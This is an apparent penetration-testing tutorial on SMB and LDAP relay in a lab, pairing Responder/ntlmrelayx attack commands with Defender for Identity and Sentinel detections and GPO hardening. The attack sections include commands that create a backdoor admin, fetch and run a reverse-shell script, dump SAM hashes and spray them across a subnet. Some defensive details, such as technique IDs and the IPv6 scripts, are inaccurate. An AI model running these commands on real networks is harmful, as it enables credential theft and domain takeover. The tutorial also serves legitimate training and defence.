🔐 Penetration Testing · Red Team · Detection

SMB Relay Attack —
Lab Walkthrough & Detection

Step-by-step: Responder poisoning, NTLMRelayX relay, SAM dump, and full defensive countermeasures with Defender for Identity.

June 2026 ~20 min read Intermediate · Enterprise
Responder NTLMRelayX SMB Signing Defender for Identity KQL Hunting Group Policy

Most SMB relay walkthroughs show you the attack in a vacuum. This one doesn't. We're running the full chain — LLMNR poisoning, NTLMv2 relay, SAM credential dump, and post-exploitation verification — then switching sides completely to detect and prevent it using Group Policy, Microsoft Defender for Identity, and Sentinel analytics rules. Every step is production-grade.

80%+
Enterprise workstations with SMB signing disabled
<3 min
Network access → credential capture
30–90s
MDI alert latency in production
01
Before You Start

Lab Architecture & Prerequisites

Build your lab environment correctly before touching any tooling. Running Responder on a production network — even accidentally during a "quick test" — is an unauthorized incident. Isolated virtual network only.

⚠️

Legal reminder: This walkthrough is for authorized lab environments and penetration testing engagements with written scope authorization. Running Responder on a corporate network without explicit written permission is unauthorized access. Always confirm your rules of engagement before running any poisoning tool — confirm target IP ranges are in scope.

Kali Linux · Tool Installation
# All pre-installed on Kali 2024.x — verify versions
responder --version          # Responder 3.1.x
ntlmrelayx.py --version      # Impacket 0.11+
crackmapexec --version        # or: netexec --version (CME successor)

# If missing, install impacket from pip
pip3 install impacket --break-system-packages

# Optional but recommended
sudo apt install bloodhound neo4j wireshark -y

The relay attack only works against hosts where SMB signing is not enforced. Enumerate before you attack.

Nmap · SMB Signing Scan
# Scan entire subnet for SMB signing state
nmap --script smb2-security-mode -p445 192.168.56.0/24

# Expected output:
# 192.168.56.10 (DC01)  → Message signing enabled and REQUIRED    ← protected
# 192.168.56.20 (WS01)  → Message signing enabled but not required ← VULNERABLE
# 192.168.56.30 (SRV01) → Message signing enabled but not required ← VULNERABLE

# Also generate a relay-ready target list with CrackMapExec:
crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
cat targets.txt  # lists all hosts where relay will succeed
💡

2026 environment note: Windows 11 23H2+ and Windows Server 2025 disable LLMNR by default via Group Policy. However, the majority of enterprise environments still run Windows 10 and Server 2019/2022 where LLMNR is active. Enumerate before assuming — run Responder in analysis mode first (Step 03).


✦
02
Concept

Attack Architecture Overview

Before running a single command, understand the four-phase relay chain. This attack has no exploit — it abuses legitimate Windows authentication behaviour.

💻
WS01
Victim
→
📡
LLMNR
Broadcast
→
🐍
Responder
Kali
→
⚡
NTLMRelayX
Kali
→
🖥️
SRV01
Target
→
🔓
SAM Dump
/ Shell
Phase 01 · Trigger

LLMNR Broadcast

WS01 tries to resolve a hostname not in DNS (e.g., \\FILESERVER01). Windows falls back to LLMNR/NBT-NS broadcast on the local subnet.

Phase 02 · Poison

Responder Intercepts

Responder replies to the broadcast, claiming to be FILESERVER01. WS01 believes it and initiates SMB authentication to our Kali IP.

Phase 03 · Relay

NTLMRelayX Forwards

Instead of capturing the NTLMv2 hash (default Responder behaviour), NTLMRelayX forwards the authentication challenge to SRV01 in real time.

Phase 04 · Execute

SRV01 Grants Access

SRV01 accepts the relayed auth. If jsmith is a local admin on SRV01, we get a SAM dump, interactive shell, or arbitrary command execution — no password cracked.


✦
03
Attack Setup

Configure Responder (Poison-Only Mode)

By default, Responder both poisons broadcasts AND runs its own SMB/HTTP servers to capture hashes directly. For a relay attack, you must disable those capture servers — otherwise Responder intercepts the auth itself and NTLMRelayX never sees it.

/etc/responder/Responder.conf · Critical Config Change
# Edit the Responder config — this is the most common mistake beginners make
sudo nano /etc/responder/Responder.conf

# Find these two lines and change On → Off
SMB = Off     # was: On — disable to let NTLMRelayX handle SMB auth
HTTP = Off    # was: On — disable to let NTLMRelayX handle HTTP auth

# Leave all poisoners ON — these are what trigger the victim
# LLMNR, NBT-NS, MDNS all stay: On

On a real engagement, always baseline the environment before poisoning. Analysis mode listens and logs without sending any responses.

Kali Terminal 1 · Responder Analysis Mode
# Identify your host-only interface first
ip a
# Look for 192.168.56.x — typically eth1 on VMware

# Run in analysis mode — NO poisoning, just observation
sudo responder -I eth1 -A

# Leave running 5–10 minutes. Output shows:
# [Analyze mode: LLMNR] Request by 192.168.56.20 for FAKEHOST, ignoring
# This tells you who is broadcasting and what hostnames they're requesting
# Before you poison, you know exactly what traffic to expect
Kali Terminal 1 · Responder Active Poisoning
# Launch poisoning — leave this terminal running throughout the attack
sudo responder -I eth1 -wrf

# Flags:
# -w  = Enable WPAD rogue proxy (catches HTTP auth from browsers)
# -r  = Answer NetBIOS wredir suffix queries
# -f  = Fingerprint hosts (logs OS/browser info for recon)

# Responder confirms active poisoners:
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
[+] Servers:
    HTTP server                [OFF]   ← correct — we set this Off
    SMB server                 [OFF]   ← correct — we set this Off
⚠️

Engagement logging: Responder writes everything to /var/log/responder/. On real engagements, review these logs post-engagement and include captured hostnames and requester IPs in your report — they're useful recon data even if the relay itself fails.


✦
04
Attack Execution

Configure and Launch NTLMRelayX

NTLMRelayX is the relay engine from Impacket. It sits between Responder and the target, forwarding the authentication challenge in real time. Open a second terminal — Responder stays running in Terminal 1.

Kali Terminal 2 · NTLMRelayX Basic Mode
# Relay to single target — dumps SAM database on success
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support

# Flags:
# -t smb://IP   = relay target (SRV01, SMB protocol)
# -smb2support  = enable SMBv2 relay (required for modern Windows)

# On success, NTLMRelayX dumps the SAM hive automatically:
# Administrator:500:<LM>:<NTLM>:::
# WS01-USER:1001:<LM>:<NTLM>:::
Kali Terminal 2 · NTLMRelayX Interactive Shell
# Open an interactive SMB shell on success instead of auto-dump
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support -i

# NTLMRelayX opens an SMB shell on localhost:11000
# Connect from a third terminal:
nc 127.0.0.1 11000

# Inside the SMB shell:
shares          # list available shares
use C$          # mount C: drive
ls              # list directory
cd Users\Administrator\Desktop
get passwords.txt
Kali Terminal 2 · NTLMRelayX Command Execution
# Run a specific command when relay succeeds
# Example: add backdoor local admin account
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support \
  -c "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add"

# Or: download and execute a reverse shell (in authorized lab only)
sudo ntlmrelayx.py -t smb://192.168.56.30 -smb2support \
  -c "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.5/shell.ps1')"
Kali Terminal 2 · NTLMRelayX Multi-Target
# Use the targets.txt generated by CrackMapExec in Step 01
# NTLMRelayX tries all targets in parallel for every captured auth
sudo ntlmrelayx.py -tf targets.txt -smb2support

# On real engagements: a single domain user credential may be
# local admin on dozens of machines due to credential reuse.
# Multi-target maximises the blast radius of each captured session.
💡

Pro tip — LDAP relay: NTLMRelayX also supports relaying to LDAP/LDAPS, not just SMB. If the victim account has enough AD privileges, you can create new accounts, add users to groups, or set ACLs directly in Active Directory. Use -t ldap://192.168.56.10 targeting the DC — this doesn't require SMB signing and works even when SMB signing is enforced everywhere.


✦
05
Attack Execution

Trigger the Authentication & Capture

With Responder and NTLMRelayX both running, cause the victim machine to make an LLMNR broadcast. In real environments this happens automatically — print spoolers, scheduled tasks, Explorer shell extensions, and software update agents all generate broadcast traffic. In the lab, simulate it manually.

WS01 (Victim) · Simulate LLMNR Broadcast
# Option 1 — File Explorer address bar (most realistic)
# Type into Explorer: \\FAKESERVER\share
# Windows tries DNS first → fails → falls back to LLMNR broadcast

# Option 2 — CMD
net use \\FAKESERVER\share

# Option 3 — PowerShell
Test-Path \\FAKESERVER\share
Responder Output · Poisoning Confirmed
[*] [LLMNR]  Poisoned answer sent to 192.168.56.20 for name FAKESERVER
[*] [NBT-NS] Poisoned answer sent to 192.168.56.20 for name FAKESERVER
[SMB] NTLMv2-SSP Client   : 192.168.56.20
[SMB] NTLMv2-SSP Username : CORP\jsmith
[SMB] NTLMv2-SSP Hash     : → forwarded to NTLMRelayX (SMB server is Off)
NTLMRelayX Output · Relay Success & SAM Dump
[*] SMBD-Thread-2: Connection from CORP/JSMITH@192.168.56.20
[*] Authenticating against smb://192.168.56.30 as CORP\JSMITH SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SRV01-ADMIN:1001:aad3b435b51404eeaad3b435b51404ee:a87ff679a2f3e71d9181a67b7542122c:::
[*] Done dumping SAM hashes for host: 192.168.56.30

You now have the local account NTLM hashes from SRV01's SAM database. No password was cracked. No exploit was used. The victim's own Windows authentication was weaponized against a second machine.

💡

Why the empty LM hash? aad3b435b51404eeaad3b435b51404ee is the standard empty LM hash — Windows has disabled LM hashing since Vista/2008. The NTLM hash (second field) is what matters for pass-the-hash attacks.


✦
06
Post-Exploitation

Post-Exploitation Verification

With SAM hashes in hand, verify access and enumerate the broader attack surface. This is what goes in the evidence section of your pentest report.

Kali · CrackMapExec / NetExec · Pass-the-Hash
# NetExec (nxc) is the maintained successor to CrackMapExec
# Kali 2024+ ships with both — prefer netexec for new engagements

# Verify the captured hash grants admin access
netexec smb 192.168.56.30 \
  -u Administrator \
  -H 31d6cfe0d16ae931b73c59d7e0c089c0 \
  --shares

# Expected success output:
SMB  192.168.56.30  445  SRV01  [+] CORP\Administrator:31d6c... (Pwn3d!)

# Run commands, dump secrets
netexec smb 192.168.56.30 -u Administrator -H <hash> -x "whoami /all"
netexec smb 192.168.56.30 -u Administrator -H <hash> --sam
netexec smb 192.168.56.30 -u Administrator -H <hash> --lsa

# crackmapexec syntax is identical — use if netexec not available
# crackmapexec smb 192.168.56.30 -u Administrator -H <hash> --sam
Kali · Subnet-Wide Lateral Movement Mapping
# Spray the captured hash across the entire subnet
# This shows every machine where the victim user is a local admin
crackmapexec smb 192.168.56.0/24 \
  -u jsmith \
  -H a87ff679a2f3e71d9181a67b7542122c

# Every host that returns (Pwn3d!) is a lateral movement target
# In real enterprise environments, a single domain user may be
# local admin on 10–50+ machines due to poor credential hygiene

# Document every (Pwn3d!) host for your report's findings section
⚠️

Report documentation: On authorized engagements, document every machine you authenticated to, every credential captured, and every command executed. This is your evidence chain for findings and the client's remediation basis. Never spray credentials beyond your agreed scope.


✦
07
Blue Team · Detection

Detection: Microsoft Defender for Identity

Switching sides now. MDI monitors domain controller traffic and Active Directory events. It has built-in detections for relay-related behaviour that fire within 30–90 seconds of the attack in production environments.

Microsoft 365 Defender Portal · Navigation
# Portal: security.microsoft.com
# Path: Security → Incidents & alerts → Alerts
# Filter: Detection source = Microsoft Defender for Identity

# Expected alert timeline:
T+0:00  — Relay occurs (NTLMRelayX authenticates to SRV01)
T+0:30  — MDI ingests DC authentication logs
T+1:00  — Alert fires: "NTLM relay attack"
T+5:00  — Incident created if correlated with other signals
T+5:00  — Automated response can isolate WS01 (if MDATP enrolled)
Advanced Hunting · IdentityLogonEvents · NTLM Relay Hunt
// Hunt for a single account authenticating to multiple targets
// within 5 minutes — strong indicator of relay or pass-the-hash
IdentityLogonEvents
| where LogonType == "NTLM"
| where Protocol == "Ntlm"
| summarize
    LoginCount = count(),
    Targets = make_set(DeviceName),
    SourceIPs = make_set(IPAddress)
  by AccountName, bin(Timestamp, 5m)
| where LoginCount > 3 and array_length(Targets) > 1
| project Timestamp, AccountName, LoginCount, Targets, SourceIPs
| sort by LoginCount desc
Microsoft Sentinel · KQL · NTLM Lateral Movement Rule
// Sentinel Analytics Rule — Schedule: every 10 minutes, lookback: 10 minutes
// Alert threshold: TargetCount > 3 in window
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LogonType == 3                          // Network logon
| summarize
    TargetCount = dcount(Computer),
    Targets = make_set(Computer),
    SourceIPs = make_set(IpAddress)
  by TargetUserName, bin(TimeGenerated, 10m)
| where TargetCount > 3
| extend
    AlertSeverity = "High",
    Tactic = "LateralMovement",
    Technique = "T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay"
| project TimeGenerated, TargetUserName, TargetCount, Targets, SourceIPs, AlertSeverity, Technique
| sort by TargetCount desc
✅

Automated response: In Sentinel, pair this rule with an automation playbook that isolates the source machine via Microsoft Defender for Endpoint's IsolateMachine action. This stops lateral movement within seconds of the relay being detected, before the attacker can pivot further.


✦
08
Blue Team · Prevention

Prevention: Enforce SMB Signing via GPO

The single most effective countermeasure. When SMB signing is required on the target, the relay fails immediately — the target rejects the relayed session because it can't verify the cryptographic signature. NTLMRelayX cannot forge signatures without the account's password.

Group Policy · Security Options · SMB Signing
# GPO Path:
# Computer Configuration → Policies → Windows Settings
# → Security Settings → Local Policies → Security Options

# For all domain-joined workstations and member servers (the critical ones):
Microsoft network server: Digitally sign communications (always)     → ENABLED
Microsoft network client: Digitally sign communications (always)     → ENABLED
Microsoft network server: Digitally sign communications (if client agrees) → ENABLED
Microsoft network client: Digitally sign communications (if server agrees) → ENABLED

# GPO Scope: Link to domain root
# Security filtering: exclude printers and legacy CIFS devices
# that don't support SMBv2 signing (audit these separately)

# DCs already have signing required by default — verify with:
# Get-SmbServerConfiguration | Select RequireSecuritySignature
PowerShell · Verify SMB Signing State (Run on WS01/SRV01)
# Run on target machines after GPO applies (gpupdate /force first)
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature

# Expected output BEFORE GPO:
RequireSecuritySignature : False
EnableSecuritySignature  : True

# Expected output AFTER GPO:
RequireSecuritySignature : True
EnableSecuritySignature  : True

# Re-run the Nmap scan from Step 01 to confirm:
# nmap --script smb2-security-mode -p445 192.168.56.20
# Expected: "Message signing enabled and required"
NTLMRelayX Output · After SMB Signing Enforced
[-] Received connection from 192.168.56.20, attacking target smb://192.168.56.30
[-] Signing is required, attack not possible
[*] Connection closed
⚠️

SMBv1 note: If any host in your environment still runs SMBv1, disable it immediately. SMBv1 does not support signing and remains the attack surface for EternalBlue/WannaCry. Audit with: Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol — it must return False on every host.


✦
09
Blue Team · Prevention

Prevention: Disable LLMNR and NBT-NS

Eliminating the poisoning vector stops the attack before Responder ever gets to respond. Without LLMNR and NBT-NS broadcasts, there's nothing for Responder to intercept. This is defence-in-depth alongside SMB signing enforcement.

Group Policy · LLMNR Disable
# GPO Path:
# Computer Configuration → Policies → Administrative Templates
# → Network → DNS Client
# → Turn off multicast name resolution → ENABLED

# Verify via registry after GPO applies:
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast
# Expected: EnableMulticast = 0x0 (Disabled)

# Or via PowerShell:
(Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient").EnableMulticast
# Expected: 0
PowerShell · Disable NetBIOS over TCP/IP on All Adapters
# Deploy as a Computer Startup Script via GPO
# Disables NetBIOS on all IP-enabled network adapters
# Uses Get-CimInstance (modern) instead of deprecated Get-WmiObject

$adapters = Get-CimInstance Win32_NetworkAdapterConfiguration |
    Where-Object { $_.IPEnabled -eq $true }

foreach ($adapter in $adapters) {
    $result = Invoke-CimMethod -InputObject $adapter -MethodName SetTcpipNetbios -Arguments @{ TcpipNetbiosBios = 2 }
    if ($result.ReturnValue -eq 0) {
        Write-Output "Disabled NetBIOS on: $($adapter.Description)"
    } else {
        Write-Warning "Failed to disable NetBIOS on: $($adapter.Description) (Code: $($result.ReturnValue))"
    }
}

# SetTcpipNetbios values:
# 0 = Use DHCP setting  |  1 = Enable  |  2 = Disable
# Fallback for older systems that don't support Get-CimInstance:
# Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $_.SetTcpipNetbios(2) }
    
DHCP Server · NetBIOS Node Type · Scope Option
# Set DHCP Option 046 (NetBIOS node type) on all scopes
# Value 0x2 = P-Node (point-to-point, no broadcast resolution)
# This stops broadcast name resolution at the infrastructure level
# and covers machines the PowerShell script may have missed

# In DHCP Manager (Windows Server):
# Server Options → Add/Edit → 046 WINS/NBT Node Type → 0x2

# Via PowerShell on DHCP server:
Get-DhcpServerv4Scope | ForEach-Object {
    Set-DhcpServerv4OptionValue -ScopeId $_.ScopeId -OptionId 46 -Value 2
}
# Apply to all scopes — no DHCP restart required
⚠️

Legacy app audit before disabling NBT-NS: Run Responder in analysis mode (-A) for at least one week in your production environment to baseline what's actually using LLMNR/NBT-NS before disabling it. Legacy print servers, older ERP systems, and some CIFS shares rely on NetBIOS name resolution and may break. Identify them, fix their DNS entries, then disable NBT-NS.

Responder Output · After LLMNR + NBT-NS Disabled
[*] [LLMNR]  No requests received (LLMNR disabled on all hosts)
[*] [NBT-NS] No requests received (NetBIOS node type P-Node)
[*] Responder is listening but nothing to poison
# → Attack vector eliminated at source

✦
10
Attack Escalation

LDAP Relay & RBCD Abuse (SMB Signing Bypass)

In mature environments where SMB signing is enforced everywhere, the attack pivots to LDAP relay. NTLMRelayX relays credentials directly to the Domain Controller via LDAP — no SMB signing required on DC auth. This is the 2025/2026 variant that bypasses your first two controls and requires a third: LDAP signing enforcement.

🚨

Why LDAP relay matters: If SMB signing is required everywhere but LDAP signing is not, the attacker simply points NTLMRelayX at the DC's LDAP port. From there, they can create accounts, add users to groups, set permissions (ACLs), or trigger Resource-Based Constrained Delegation (RBCD) to achieve domain admin. This is more dangerous than SMB relay because you now own the directory.

Kali Terminal 2 · NTLMRelayX LDAP Relay
# Point NTLMRelayX at the DC's LDAP service instead of SMB
# No SMB signing required — LDAP signing is what matters
sudo ntlmrelayx.py -t ldap://192.168.56.10 -smb2support

# On relay success, NTLMRelayX has a writable AD session
# Default: dumps LDAP AD data, creates a backdoor user account

# To trigger RBCD abuse (escalate to domain admin):
sudo ntlmrelayx.py -t ldap://192.168.56.10 -smb2support \
  --escalate-user=jsmith

# This sets Resource-Based Constrained Delegation on jsmith's account:
# allows a machine account to impersonate jsmith to request service tickets
# Result: full domain compromise via impersonation

LDAP relay generates different event signatures than SMB relay. Monitor for AD attribute modifications from unexpected sources.

Microsoft Sentinel · KQL · LDAP Relay Detection
// Hunt for LDAP modifications from network logons (relay indicator)
// Schedule: every 5 minutes, lookback 5 minutes
AuditLogs
| where OperationName in~ ("Add user", "Update user", "Update group", "Set member")
| where InitiatedBy.user.userPrincipalName !contains "@"  // Machine account — no @ sign
| where TargetResources[0].modifiedProperties has "msDS-AllowedToActOnBehalfOfOtherIdentity"  // RBCD abuse
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result
| extend AlertSeverity = "Critical", Technique = "T1557.002 - LDAP Relay / RBCD"
Group Policy · LDAP Signing Enforcement
# Domain Controllers and all LDAP clients must enforce signing
# GPO Path: Computer Configuration → Policies → Windows Settings
# → Security Settings → Local Policies → Security Options

Domain controller: LDAP server signing requirements → Require signature

# On DCs, verify via registry:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "LdapServerIntegrity"
# Expected: LdapServerIntegrity = 0x2 (Require signature)

# After GPO applies, LDAP relay fails — NTLMRelayX can't sign LDAP packets:
# [-] LDAP signing required, attack not possible
✅

The complete relay defense: Enforce SMB signing (stops SMB relay), enforce LDAP signing (stops LDAP relay), disable LLMNR/NBT-NS (eliminates poisoning vector). All three together close the relay attack surface completely. Miss any one, and the attacker pivots to the undefended path.


✦
11
Blue Team · Prevention

Prevention: Mitigate IPv6 / mitm6 Poisoning

When LLMNR and NBT-NS are disabled, attackers pivot to DHCPv6 poisoning via mitm6. Windows prefers IPv6 over IPv4 for DNS resolution — attackers exploit this by advertising a rogue DHCPv6 server that directs traffic to themselves. The relay chain remains the same; only the initial trigger differs.

⚠️

2026 reality check: Many organizations disable LLMNR/NBT-NS and consider themselves protected from name poisoning. They're not. If IPv6 is enabled on the network and DHCPv6 is not hardened, mitm6 works just as well. This is the "you fixed one hole, forgot the other" scenario.

If your organization doesn't use IPv6, disable it entirely via Group Policy or registry.

Group Policy · Disable IPv6
# GPO Path: Computer Configuration → Policies → Administrative Templates
# → Network → IPv6 Settings
# → IPv6 transition technologies → 6to4 → Set 6to4 state → Disabled State
# → Teredo → Set Teredo state → Disabled State
# → ISATAP → Set ISATAP state → Disabled State

# Or disable IPv6 entirely via registry on all machines:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v "DisabledComponents" /t REG_DWORD /d 0xff /f

If your organization uses IPv6 for legitimate services, harden DHCPv6 and enforce security. Disable DHCPv6 on untrusted interfaces and statically assign IPv6 where possible.

PowerShell · Disable DHCPv6 on Network Interfaces
# Disable DHCPv6 on all interfaces, require static IPv6 assignment
Get-NetAdapterBinding -ComponentID tcpip6 | ForEach-Object {
    Disable-NetAdapterBinding -Name $_.Name -ComponentID tcpip6
}

# Or more granularly — disable DHCPv6 via netsh:
netsh int ipv6 set int InterfaceIndex dhcp=disabled

# Enforce slaac (Stateless Address Auto-Configuration) instead of DHCPv6
netsh int ipv6 set int InterfaceIndex forcedasource=enabled
Microsoft Sentinel · KQL · Suspicious WPAD Authentication
// Hunt for WPAD proxy authentication — mitm6 indicator
SecurityEvent
| where EventID == 4688  // Process creation
| where CommandLine contains "wpad" or CommandLine contains "mitm6"
| project TimeGenerated, Computer, CommandLine, ParentProcessName
| extend AlertSeverity = "High"

// Also hunt for network logons to suspicious DHCP-assigned addresses
SecurityEvent
| where EventID == 4624 and LogonType == 3  // Network logon
| where IpAddress matches @"fe80::"  // Link-local IPv6 (DHCPv6-assigned)
| summarize LoginCount = count() by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where LoginCount > 2

The Complete Relay Defense — No More Pivots

What you've walked through isn't a theoretical attack. SMB relay is one of the most consistently successful techniques in real-world internal penetration tests — not because it's sophisticated, but because organizations routinely leave the relay surface fragmented: they enforce SMB signing but forget LDAP, they disable LLMNR but leave IPv6 unprotected, they monitor one attack vector while three others remain open.

The complete defense requires all five controls: (1) enforce SMB signing, (2) enforce LDAP signing, (3) disable LLMNR/NBT-NS, (4) disable or harden DHCPv6/IPv6, (5) enable detection and hunting rules in Sentinel. Miss any one, and the attacker pivots to the undefended path — relay doesn't disappear, it just changes protocol.

In 2026, if your internal pentest report doesn't test all three relay variants (SMB, LDAP, mitm6), the assessment is incomplete. If your detection stack doesn't have hunt rules running for all three in Sentinel, your SOC is still missing the pivots. Build this once, defend it fully.